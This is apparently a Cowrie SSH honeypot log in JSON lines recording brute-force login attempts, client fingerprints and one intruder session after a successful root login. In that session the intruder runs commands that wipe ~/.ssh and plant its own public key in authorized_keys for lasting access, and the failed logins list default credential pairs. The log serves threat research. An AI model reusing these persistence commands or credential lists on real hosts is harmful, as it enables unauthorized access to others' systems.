{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:25:27.656384Z","src_ip":"193.32.162.151","session":"ee42de5912ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:25:27.759793Z","src_ip":"193.32.162.151","session":"ee42de5912ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"loginuser","password":"p@ssw0rd","message":"login attempt [loginuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:25:28.247468Z","src_ip":"193.32.162.151","session":"ee42de5912ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:25:29.351359Z","src_ip":"193.32.162.151","session":"ee42de5912ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":35142,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b169f62f1a9","protocol":"ssh","message":"New connection: 92.118.39.92:35142 (10.17.0.5:22) [session: 0b169f62f1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:26:55.409410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:26:55.421414Z","src_ip":"92.118.39.92","session":"0b169f62f1a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:26:55.524590Z","src_ip":"92.118.39.92","session":"0b169f62f1a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"jira","message":"login attempt [jira/jira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:26:55.912693Z","src_ip":"92.118.39.92","session":"0b169f62f1a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:26:57.017594Z","src_ip":"92.118.39.92","session":"0b169f62f1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33414,"dst_ip":"159.203.135.109","dst_port":22,"session":"d991903aa961","protocol":"ssh","message":"New connection: 193.32.162.151:33414 (159.203.135.109:22) [session: d991903aa961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:27:38.156534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:27:38.188607Z","src_ip":"193.32.162.151","session":"d991903aa961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:27:38.499365Z","src_ip":"193.32.162.151","session":"d991903aa961","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"loginuser","password":"sophosfw","message":"login attempt [loginuser/sophosfw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:27:38.845912Z","src_ip":"193.32.162.151","session":"d991903aa961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:27:39.948766Z","src_ip":"193.32.162.151","session":"d991903aa961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59184,"dst_ip":"159.203.135.109","dst_port":22,"session":"556cfcb68fa4","protocol":"ssh","message":"New connection: 195.178.110.218:59184 (159.203.135.109:22) [session: 556cfcb68fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:02.028116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:02.033283Z","src_ip":"195.178.110.218","session":"556cfcb68fa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:02.114307Z","src_ip":"195.178.110.218","session":"556cfcb68fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:02.359959Z","src_ip":"195.178.110.218","session":"556cfcb68fa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:03.443046Z","src_ip":"195.178.110.218","session":"556cfcb68fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.52.138","src_port":54352,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7f1477ff6d5","protocol":"ssh","message":"New connection: 173.249.52.138:54352 (10.17.0.5:22) [session: d7f1477ff6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:11.682976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:11.691064Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:11.781495Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123456ly","message":"login attempt [root/123456ly] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.175658Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.385384Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.388011Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.390905Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.483130Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.744140Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.747943Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.843993Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.848299Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.52.138","src_port":37224,"dst_ip":"10.17.0.5","dst_port":22,"session":"bae60d548dba","protocol":"ssh","message":"New connection: 173.249.52.138:37224 (10.17.0.5:22) [session: bae60d548dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.935929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:12.941841Z","src_ip":"173.249.52.138","session":"bae60d548dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:13.035100Z","src_ip":"173.249.52.138","session":"bae60d548dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:13.437837Z","src_ip":"173.249.52.138","session":"bae60d548dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:14.534059Z","src_ip":"173.249.52.138","session":"bae60d548dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.52.138","src_port":53284,"dst_ip":"10.17.0.5","dst_port":22,"session":"584bde66422f","protocol":"ssh","message":"New connection: 173.249.52.138:53284 (10.17.0.5:22) [session: 584bde66422f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:14.617531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:14.622005Z","src_ip":"173.249.52.138","session":"584bde66422f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:14.711871Z","src_ip":"173.249.52.138","session":"584bde66422f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:15.103357Z","src_ip":"173.249.52.138","session":"584bde66422f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:15.196643Z","src_ip":"173.249.52.138","session":"d7f1477ff6d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:28:15.201799Z","src_ip":"173.249.52.138","session":"584bde66422f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":51762,"dst_ip":"10.17.0.5","dst_port":22,"session":"8937bd6b82d0","protocol":"ssh","message":"New connection: 92.118.39.92:51762 (10.17.0.5:22) [session: 8937bd6b82d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:13.875360Z"}
